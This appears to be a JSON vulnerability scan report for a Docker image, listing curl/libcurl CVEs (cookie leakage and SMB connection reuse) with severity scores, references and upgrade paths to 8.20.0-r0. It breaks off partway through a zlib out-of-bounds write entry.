{
"vulnerabilities": [
{
"id": "SNYK-ALPINE323-CURL-17970539",
"cpes": [],
"title": "Cleartext Transmission of Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<8.20.0-r0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"8.20.0-r0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://curl.se/docs/CVE-2026-6276.html",
"title": "https://curl.se/docs/CVE-2026-6276.html"
},
{
"url": "https://curl.se/docs/CVE-2026-6276.json",
"title": "https://curl.se/docs/CVE-2026-6276.json"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/13",
"title": "http://www.openwall.com/lists/oss-security/2026/04/29/13"
},
{
"url": "https://hackerone.com/reports/3671818",
"title": "https://hackerone.com/reports/3671818"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-15T01:17:11.949298Z"
},
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-05-03T06:28:26.656176Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-05-07T17:44:55.449755Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-15T01:17:11.949298Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:28:26.656176Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-05-07T17:44:55.449755Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `curl` package and not the `curl` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nUsing libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.\n## Remediation\nUpgrade `Alpine:3.23` `curl` to version 8.20.0-r0 or higher.\n## References\n- [https://curl.se/docs/CVE-2026-6276.html](https://curl.se/docs/CVE-2026-6276.html)\n- [https://curl.se/docs/CVE-2026-6276.json](https://curl.se/docs/CVE-2026-6276.json)\n- [http://www.openwall.com/lists/oss-security/2026/04/29/13](http://www.openwall.com/lists/oss-security/2026/04/29/13)\n- [https://hackerone.com/reports/3671818](https://hackerone.com/reports/3671818)\n",
"epssDetails": {
"percentile": "0.25749",
"probability": "0.00349",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-6276"
],
"CWE": [
"CWE-319"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "curl",
"creationTime": "2026-07-14T14:27:37.843700Z",
"disclosureTime": "2026-05-13T13:01:56.800000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-07-14T14:27:37.849167Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:36.518147Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/libcurl@8.19.0-r0"
],
"upgradePath": [
false,
"curl/libcurl@8.20.0-r0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "curl/libcurl",
"version": "8.19.0-r0",
"nearestFixedInVersion": "8.20.0-r0",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-CURL-17970543",
"cpes": [],
"title": "Server-Side Request Forgery (SSRF)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
""
],
"semver": {
"vulnerable": [
"<8.20.0-r0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"8.20.0-r0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://curl.se/docs/CVE-2026-5773.html",
"title": "https://curl.se/docs/CVE-2026-5773.html"
},
{
"url": "https://curl.se/docs/CVE-2026-5773.json",
"title": "https://curl.se/docs/CVE-2026-5773.json"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/9",
"title": "http://www.openwall.com/lists/oss-security/2026/04/29/9"
},
{
"url": "https://hackerone.com/reports/3650689",
"title": "https://hackerone.com/reports/3650689"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-14T01:15:00.748629Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-05-03T06:27:56.247814Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-08-27T11:03:00.391483Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:00.748629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:27:56.247814Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-08-27T11:03:00.391483Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `curl` package and not the `curl` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nlibcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different "share" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.\n## Remediation\nUpgrade `Alpine:3.23` `curl` to version 8.20.0-r0 or higher.\n## References\n- [https://curl.se/docs/CVE-2026-5773.html](https://curl.se/docs/CVE-2026-5773.html)\n- [https://curl.se/docs/CVE-2026-5773.json](https://curl.se/docs/CVE-2026-5773.json)\n- [http://www.openwall.com/lists/oss-security/2026/04/29/9](http://www.openwall.com/lists/oss-security/2026/04/29/9)\n- [https://hackerone.com/reports/3650689](https://hackerone.com/reports/3650689)\n",
"epssDetails": {
"percentile": "0.49242",
"probability": "0.00657",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-5773"
],
"CWE": [
"CWE-918"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "curl",
"creationTime": "2026-07-14T14:27:53.172225Z",
"disclosureTime": "2026-05-13T13:01:56.307000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-07-14T14:27:53.175924Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:02.059903Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/libcurl@8.19.0-r0"
],
"upgradePath": [
false,
"curl/libcurl@8.20.0-r0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "curl/libcurl",
"version": "8.19.0-r0",
"nearestFixedInVersion": "8.20.0-r0",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-CURL-17970539",
"cpes": [],
"title": "Cleartext Transmission of Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<8.20.0-r0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"8.20.0-r0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://curl.se/docs/CVE-2026-6276.html",
"title": "https://curl.se/docs/CVE-2026-6276.html"
},
{
"url": "https://curl.se/docs/CVE-2026-6276.json",
"title": "https://curl.se/docs/CVE-2026-6276.json"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/13",
"title": "http://www.openwall.com/lists/oss-security/2026/04/29/13"
},
{
"url": "https://hackerone.com/reports/3671818",
"title": "https://hackerone.com/reports/3671818"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-15T01:17:11.949298Z"
},
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-05-03T06:28:26.656176Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-05-07T17:44:55.449755Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-15T01:17:11.949298Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:28:26.656176Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-05-07T17:44:55.449755Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `curl` package and not the `curl` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nUsing libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.\n## Remediation\nUpgrade `Alpine:3.23` `curl` to version 8.20.0-r0 or higher.\n## References\n- [https://curl.se/docs/CVE-2026-6276.html](https://curl.se/docs/CVE-2026-6276.html)\n- [https://curl.se/docs/CVE-2026-6276.json](https://curl.se/docs/CVE-2026-6276.json)\n- [http://www.openwall.com/lists/oss-security/2026/04/29/13](http://www.openwall.com/lists/oss-security/2026/04/29/13)\n- [https://hackerone.com/reports/3671818](https://hackerone.com/reports/3671818)\n",
"epssDetails": {
"percentile": "0.25749",
"probability": "0.00349",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-6276"
],
"CWE": [
"CWE-319"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "curl",
"creationTime": "2026-07-14T14:27:37.843700Z",
"disclosureTime": "2026-05-13T13:01:56.800000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-07-14T14:27:37.849167Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:36.518147Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/curl@8.19.0-r0",
"curl/libcurl@8.19.0-r0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "curl/libcurl",
"version": "8.19.0-r0",
"nearestFixedInVersion": "8.20.0-r0",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-CURL-17970543",
"cpes": [],
"title": "Server-Side Request Forgery (SSRF)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
""
],
"semver": {
"vulnerable": [
"<8.20.0-r0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"8.20.0-r0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://curl.se/docs/CVE-2026-5773.html",
"title": "https://curl.se/docs/CVE-2026-5773.html"
},
{
"url": "https://curl.se/docs/CVE-2026-5773.json",
"title": "https://curl.se/docs/CVE-2026-5773.json"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/9",
"title": "http://www.openwall.com/lists/oss-security/2026/04/29/9"
},
{
"url": "https://hackerone.com/reports/3650689",
"title": "https://hackerone.com/reports/3650689"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-14T01:15:00.748629Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-05-03T06:27:56.247814Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-08-27T11:03:00.391483Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:00.748629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:27:56.247814Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-08-27T11:03:00.391483Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `curl` package and not the `curl` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nlibcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different "share" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.\n## Remediation\nUpgrade `Alpine:3.23` `curl` to version 8.20.0-r0 or higher.\n## References\n- [https://curl.se/docs/CVE-2026-5773.html](https://curl.se/docs/CVE-2026-5773.html)\n- [https://curl.se/docs/CVE-2026-5773.json](https://curl.se/docs/CVE-2026-5773.json)\n- [http://www.openwall.com/lists/oss-security/2026/04/29/9](http://www.openwall.com/lists/oss-security/2026/04/29/9)\n- [https://hackerone.com/reports/3650689](https://hackerone.com/reports/3650689)\n",
"epssDetails": {
"percentile": "0.49242",
"probability": "0.00657",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-5773"
],
"CWE": [
"CWE-918"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "curl",
"creationTime": "2026-07-14T14:27:53.172225Z",
"disclosureTime": "2026-05-13T13:01:56.307000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-07-14T14:27:53.175924Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:02.059903Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/curl@8.19.0-r0",
"curl/libcurl@8.19.0-r0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "curl/libcurl",
"version": "8.19.0-r0",
"nearestFixedInVersion": "8.20.0-r0",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-CURL-17970539",
"cpes": [],
"title": "Cleartext Transmission of Sensitive Information",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<8.20.0-r0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"8.20.0-r0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://curl.se/docs/CVE-2026-6276.html",
"title": "https://curl.se/docs/CVE-2026-6276.html"
},
{
"url": "https://curl.se/docs/CVE-2026-6276.json",
"title": "https://curl.se/docs/CVE-2026-6276.json"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/13",
"title": "http://www.openwall.com/lists/oss-security/2026/04/29/13"
},
{
"url": "https://hackerone.com/reports/3671818",
"title": "https://hackerone.com/reports/3671818"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-15T01:17:11.949298Z"
},
{
"assigner": "Red Hat",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-05-03T06:28:26.656176Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-05-07T17:44:55.449755Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-15T01:17:11.949298Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:28:26.656176Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-05-07T17:44:55.449755Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `curl` package and not the `curl` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nUsing libcurl, when a custom `Host:` header is first set for an HTTP request\nand a second request is subsequently done using the same *easy handle* but\nwithout the custom `Host:` header set, the second request would use stale\ninformation and pass on cookies meant for the first host in the second\nrequest. Leak them.\n## Remediation\nUpgrade `Alpine:3.23` `curl` to version 8.20.0-r0 or higher.\n## References\n- [https://curl.se/docs/CVE-2026-6276.html](https://curl.se/docs/CVE-2026-6276.html)\n- [https://curl.se/docs/CVE-2026-6276.json](https://curl.se/docs/CVE-2026-6276.json)\n- [http://www.openwall.com/lists/oss-security/2026/04/29/13](http://www.openwall.com/lists/oss-security/2026/04/29/13)\n- [https://hackerone.com/reports/3671818](https://hackerone.com/reports/3671818)\n",
"epssDetails": {
"percentile": "0.25749",
"probability": "0.00349",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-6276"
],
"CWE": [
"CWE-319"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "curl",
"creationTime": "2026-07-14T14:27:37.843700Z",
"disclosureTime": "2026-05-13T13:01:56.800000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-07-14T14:27:37.849167Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:21:36.518147Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/curl@8.19.0-r0"
],
"upgradePath": [
false,
"curl/curl@8.20.0-r0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "curl/curl",
"version": "8.19.0-r0",
"nearestFixedInVersion": "8.20.0-r0",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-CURL-17970543",
"cpes": [],
"title": "Server-Side Request Forgery (SSRF)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
""
],
"semver": {
"vulnerable": [
"<8.20.0-r0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"8.20.0-r0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.5,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://curl.se/docs/CVE-2026-5773.html",
"title": "https://curl.se/docs/CVE-2026-5773.html"
},
{
"url": "https://curl.se/docs/CVE-2026-5773.json",
"title": "https://curl.se/docs/CVE-2026-5773.json"
},
{
"url": "http://www.openwall.com/lists/oss-security/2026/04/29/9",
"title": "http://www.openwall.com/lists/oss-security/2026/04/29/9"
},
{
"url": "https://hackerone.com/reports/3650689",
"title": "https://hackerone.com/reports/3650689"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-14T01:15:00.748629Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-05-03T06:27:56.247814Z"
},
{
"assigner": "SUSE",
"severity": "low",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"cvssV3BaseScore": 3.7,
"modificationTime": "2026-08-27T11:03:00.391483Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-14T01:15:00.748629Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-05-03T06:27:56.247814Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-08-27T11:03:00.391483Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `curl` package and not the `curl` package as distributed by `Alpine`._\n_See `How to fix?` for `Alpine:3.23` relevant fixed versions and status._\n\nlibcurl might in some circumstances reuse the wrong connection for SMB(S)\ntransfers.\n\nlibcurl features a pool of recent connections so that subsequent requests can\nreuse an existing connection to avoid overhead.\n\nWhen reusing a connection a range of criteria must be met. Due to a logical\nerror in the code, a network transfer operation that was requested by an\napplication could wrongfully reuse an existing SMB connection to the same\nserver that was using a different "share" than the new subsequent transfer\nshould.\n\nThis could in unlucky situations lead to the download of the wrong file or the\nupload of a file to the wrong place. When this happens, the same credentials\nare used and the server name is the same.\n## Remediation\nUpgrade `Alpine:3.23` `curl` to version 8.20.0-r0 or higher.\n## References\n- [https://curl.se/docs/CVE-2026-5773.html](https://curl.se/docs/CVE-2026-5773.html)\n- [https://curl.se/docs/CVE-2026-5773.json](https://curl.se/docs/CVE-2026-5773.json)\n- [http://www.openwall.com/lists/oss-security/2026/04/29/9](http://www.openwall.com/lists/oss-security/2026/04/29/9)\n- [https://hackerone.com/reports/3650689](https://hackerone.com/reports/3650689)\n",
"epssDetails": {
"percentile": "0.49242",
"probability": "0.00657",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-5773"
],
"CWE": [
"CWE-918"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "curl",
"creationTime": "2026-07-14T14:27:53.172225Z",
"disclosureTime": "2026-05-13T13:01:56.307000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "alpine:3.23",
"publicationTime": "2026-07-14T14:27:53.175924Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:24:02.059903Z",
"socialTrendAlert": false,
"relativeImportance": null,
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-scope-docs@20260604.90",
"curl/curl@8.19.0-r0"
],
"upgradePath": [
false,
"curl/curl@8.20.0-r0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "curl/curl",
"version": "8.19.0-r0",
"nearestFixedInVersion": "8.20.0-r0",
"dockerfileInstruction": "apk add --no-cache bash curl"
},
{
"id": "SNYK-ALPINE323-ZLIB-20541565",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"<1.3.2-r1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.3.2-r1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
